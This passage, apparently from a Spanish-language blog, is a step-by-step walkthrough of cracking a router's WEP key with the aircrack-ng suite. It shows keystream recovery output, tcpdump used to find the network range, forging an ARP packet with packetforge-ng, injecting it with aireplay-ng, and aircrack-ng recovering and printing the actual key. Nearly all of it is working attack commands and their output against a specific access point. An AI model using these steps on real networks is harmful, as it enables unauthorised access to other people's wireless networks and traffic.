Offset 102 (14% done) | xor = C0 | pt = 09 | 7142 frames written in 121421ms
Offset 101 (16% done) | xor = 01 | pt = 2A | 3132 frames written in 53247ms
Offset 100 (17% done) | xor = AD | pt = AA | 10555 frames written in 179438ms
Offset 99 (18% done) | xor = B6 | pt = 3A | 8877 frames written in 150898ms
Offset 98 (19% done) | xor = 9B | pt = 8F | 877 frames written in 14920ms
Offset 97 (20% done) | xor = 69 | pt = C0 | 1711 frames written in 29073ms
Offset 96 (22% done) | xor = E8 | pt = 61 | 805 frames written in 13699ms
Offset 95 (23% done) | xor = 7C | pt = 03 | 602 frames written in 10229ms
Offset 94 (24% done) | xor = DE | pt = 1C | 1651 frames written in 28060ms
Offset 93 (25% done) | xor = EE | pt = 49 | 12611 frames written in 214389ms
Offset 92 (27% done) | xor = E6 | pt = 24 | 777 frames written in 13206ms
Offset 91 (28% done) | xor = 6E | pt = 03 | 4563 frames written in 77571ms
Offset 90 (29% done) | xor = C9 | pt = BC | 6261 frames written in 106436ms
Offset 89 (30% done) | xor = 26 | pt = 03 | 10163 frames written in 172773ms
Offset 88 (32% done) | xor = 51 | pt = 57 | 890 frames written in 15144ms
Offset 87 (33% done) | xor = 76 | pt = E9 | 2078 frames written in 35311ms
Offset 86 (34% done) | xor = E2 | pt = 53 | 5818 frames written in 98906ms
Offset 85 (35% done) | xor = 7C | pt = 00 | 22882 frames written in 388996ms
Offset 84 (37% done) | xor = 69 | pt = 64 | 16868 frames written in 286757ms
Offset 83 (38% done) | xor = 62 | pt = 00 | 46586 frames written in 791963ms
Offset 82 (39% done) | xor = 33 | pt = 00 | 33290 frames written in 565925ms
Offset 81 (40% done) | xor = CD | pt = 01 | 16606 frames written in 282316ms
Offset 80 (41% done) | xor = 4E | pt = 01 | 4822 frames written in 81962ms
Offset 79 (43% done) | xor = EE | pt = 01 | 944 frames written in 16047ms
Offset 78 (44% done) | xor = 1A | pt = 00 | 7126 frames written in 121141ms
Offset 77 (45% done) | xor = E2 | pt = 00 | 4820 frames written in 81940ms
Offset 76 (46% done) | xor = 61 | pt = 00 | 5468 frames written in 92967ms
Offset 75 (48% done) | xor = AD | pt = 02 | 6069 frames written in 103165ms
Offset 74 (49% done) | xor = 0A | pt = B2 | 580 frames written in 9858ms
Offset 73 (50% done) | xor = D8 | pt = 61 | 3592 frames written in 61064ms
Offset 72 (51% done) | xor = D4 | pt = E4 | 1734 frames written in 29485ms
Offset 71 (53% done) | xor = 82 | pt = 3F | 1605 frames written in 27292ms
Offset 70 (54% done) | xor = 8E | pt = B0 | 16047 frames written in 272799ms
Offset 69 (55% done) | xor = 7B | pt = 09 | 3964 frames written in 67384ms
Offset 68 (56% done) | xor = 3E | pt = 58 | 3762 frames written in 63944ms
Offset 67 (58% done) | xor = 94 | pt = 00 | 3118 frames written in 53018ms
Offset 66 (59% done) | xor = D8 | pt = 57 | 2760 frames written in 46922ms
Offset 65 (60% done) | xor = AF | pt = 19 | 12398 frames written in 210752ms
Offset 64 (61% done) | xor = 82 | pt = 02 | 25620 frames written in 435545ms
Offset 63 (62% done) | xor = DE | pt = FF | 23362 frames written in 397149ms
Offset 62 (64% done) | xor = 52 | pt = 63 | 2731 frames written in 46431ms
Offset 61 (65% done) | xor = 89 | pt = 37 | 5048 frames written in 85811ms
Offset 60 (66% done) | xor = 2E | pt = 00 | 2116 frames written in 35988ms
Offset 59 (67% done) | xor = 80 | pt = 40 | 4531 frames written in 77017ms
Offset 58 (69% done) | xor = 8E | pt = 1F | 21760 frames written in 369915ms
Offset 57 (70% done) | xor = 7E | pt = A1 | 1297 frames written in 22049ms
Offset 56 (71% done) | xor = 11 | pt = 0F | 6424 frames written in 109208ms
Offset 55 (72% done) | xor = 96 | pt = A0 | 6708 frames written in 114049ms
Offset 54 (74% done) | xor = AB | pt = 3D | 1763 frames written in 29973ms
Offset 53 (75% done) | xor = E3 | pt = FB | 7058 frames written in 119971ms
Offset 52 (76% done) | xor = B2 | pt = 3A | 2041 frames written in 34711ms
Offset 51 (77% done) | xor = 40 | pt = 22 | 8905 frames written in 151372ms
Offset 50 (79% done) | xor = C8 | pt = 01 | 5406 frames written in 91901ms
Offset 49 (80% done) | xor = AC | pt = A8 | 3084 frames written in 52435ms
Offset 48 (81% done) | xor = E9 | pt = C0 | 1946 frames written in 33075ms
Offset 47 (82% done) | xor = AB | pt = 8B | 5243 frames written in 89133ms
Offset 46 (83% done) | xor = 56 | pt = A2 | 1873 frames written in 31840ms
Offset 45 (85% done) | xor = BA | pt = 11 | 829 frames written in 14105ms
Offset 44 (86% done) | xor = 41 | pt = 80 | 1695 frames written in 28804ms
Offset 43 (87% done) | xor = 40 | pt = 00 | 1276 frames written in 21697ms
Offset 42 (88% done) | xor = 54 | pt = 00 | 1118 frames written in 19013ms
Offset 41 (90% done) | xor = 9D | pt = B1 | 3782 frames written in 64279ms
Offset 40 (91% done) | xor = 2E | pt = 5D | 2379 frames written in 40444ms
Offset 39 (92% done) | xor = FD | pt = 4B | 8525 frames written in 144926ms
Offset 38 (93% done) | xor = 47 | pt = 00 | 1648 frames written in 28015ms
Offset 37 (95% done) | xor = 2B | pt = 00 | 3175 frames written in 53977ms
Offset 36 (96% done) | xor = 84 | pt = 45 | 20981 frames written in 356677ms
Offset 35 (97% done) | xor = DF | pt = 00 | 12807 frames written in 217717ms
Offset 34 (98% done) | xor = 4F | pt = 08 | 4691 frames written in 79762ms
Saving plaintext in replay_dec-0121-021600.cap
Saving keystream in replay_dec-0121-021600.xor
Completed in 2593s (0.03 bytes/s)
Este proceso, en mi caso tardó bastante en hacerse, es muy necesario para hacer esto que, estemos auténticandonos al router con el paso anterior a este.
Bueno ahora vamos a saber en que rango está echa la red.
Descubriendo la red
root@thor:/home/marc# tcpdump -s 0 -n -e -r replay_dec-0121-021600.cap
reading from file replay_dec-0121-021600.cap, link-type IEEE802_11 (802.11)
02:16:00.914164 BSSID:00:1a:2b:48:a3:f4 SA:00:c0:ca:21:d3:f2 DA:00:1d:20:d3:00:c7 LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0×03: oui Ethernet (0×000000), ethertype IPv4 (0×0800): 192.168.1.34.4001 > 58.251.61.160.8000: UDP, length 47
root@thor:/home/marc# ifconfig mon0
mon0 Link encap:UNSPEC direcciónHW 00-1A-EF-0C-63-56-00-00-00-00-00-00-00-00-00-00
ACTIVO DIFUSIÓN NOTRAILERS FUNCIONANDO PROMISC ALLMULTI MTU:1500 Métrica:1
Paquetes RX:278204 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:19098550 (19.0 MB) TX bytes:0 (0.0 B)
Ahora ya sabemos que la red trabaja en el rango 192.168.1.34
Construyendo paquete ARP
Ahora que ya tenemos más información procedemos a construir nuestro paquete mediante la herramienta packetforge
root@thor:/home/marc# packetforge-ng -0 -a 00:22:2D:44:E3:E1 -h 00-1A-EF-0C-63-56 -k 192.168.1.34 -l 192.168.1.254 -y replay_dec-0121-021600.xor -w final_arp.cap
Wrote packet to: final_arp.cap
Ahora ya podemos inyectar con nuestro paquete ARP
Inyectando paquetes
root@thor:/home/marc# aireplay-ng -2 -r final_arp.cap mon0
No source MAC (-h) specified. Using the device MAC (00:1A:EF:0C:63:56)
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:1A:2B:48:A3:F4
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:1A:EF:0C:63:56
0×0000: 0841 0201 001a 2b48 a3f4 001a ef0c 6356 .A….+H……cV
0×0010: ffff ffff ffff 8001 005f 0300 2f7b 68fb ………_../{h.
0×0020: 9ea6 47d9 842a 4ffd 2899 5441 41a0 b9a7 ..G..*O.(.TAA…
0×0030: 8afa 08e8 b31d ab96 117e 8e80 ee21 53fc ………~…!S.
0×0040: 7565 ba8c ue..
Use this packet ? yes
Ahora podremos ver como los DATA suben de manera muy rápida.
Cuando tengamos los DATA necesarios podemos proceder al crackeo de la clave
Crackeando Red
root@thor:/home/marc# aircrack-ng archivo.cap
Y, podremos ver el proceso
Aircrack-ng 1.0
[00:00:44] Tested 995397 keys (got 35776 IVs)
KB depth byte(vote)
0 0/ 1 43(49408) 52(43776) 6A(43776) B6(43264) CF(42240) 7C(41984) B2(41984) F9(41984) 49(41728) 61(41728) C7(41728) 4C(41472)
1 0/ 1 30(52480) 6F(43520) 49(42240) E3(41984) 50(41216) AF(41216) B6(41216) 79(40960) B0(40960) C2(40960) 3F(40704) B3(40704)
2 0/ 1 30(56064) 2D(43520) 4A(42752) 34(41984) 1E(41728) 6C(41728) 72(41472) 91(41472) 0F(41216) 84(41216) EB(40960) 28(40704)
3 0/ 1 31(51712) 90(44288) 2D(43520) 9A(42752) C8(42496) ED(42496) 55(41984) D1(41728) 09(41472) 12(41472) 08(41216) A2(41216)
4 0/ 1 44(46336) DA(44544) 1C(44032) BF(44032) 51(43776) 19(43264) A2(43264) B2(42496) 94(41728) D0(41728) 21(41472) 84(41472)
5 1/ 2 32(45312) 08(43776) BF(43264) B9(43008) 59(42496) 1C(42240) D0(42240) 4E(41984) CD(41728) 66(41472) A7(41472) A9(41472)
6 0/ 1 30(49152) 06(43776) 7C(42496) EA(42496) A7(42240) F8(41984) 5E(41728) D6(41728) 4F(41472) 50(41472) 19(41216) 1A(41216)
7 1/ 2 44(45312) 27(43264) C9(42752) 1F(42240) AA(42240) 16(41984) 5C(41984) 0B(41472) 57(41472) 7D(41472) 02(41216) 0C(40704)
8 1/ 2 33(46848) 5C(45824) E1(44288) EB(44288) AA(43776) A8(43520) 1E(43264) 94(42496) 9A(41984) CD(41984) 64(41728) 17(41472)
9 0/ 1 30(48896) 49(44544) 5C(44544) B2(44288) 20(43520) BA(43264) 2A(43008) F9(43008) 1A(42752) 85(42496) D6(42496) D2(41216)
10 5/ 1 C4(41984) 38(41472) 8B(41472) E1(41472) 04(41216) A7(41216) 8D(40704) BC(40704) 11(40448) B4(40448) F2(40448) 33(40192)
11 14/ 1 14(40192) 25(40192) 2B(40192) 9D(40192) BA(40192) 1F(39936) 29(39936) 40(39936) 89(39936) 8F(39680) D5(39680) F1(39680)
12 0/ 2 4A(46116) CB(44580) 81(43408) C1(43340) 12(42460) A7(42236) A9(41876) FE(41840) 30(41652) 73(41620) 52(41580) E7(41548)
KEY FOUND! [ 43:30:30:31:44:32:30:44:33:30:30:43:37 ] (ASCII: C001D20D300C7 )
Decrypted correctly: 100%
Y ya está, ya tenemos nuestra clave de red.
Seguimos trabajando para WPA http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif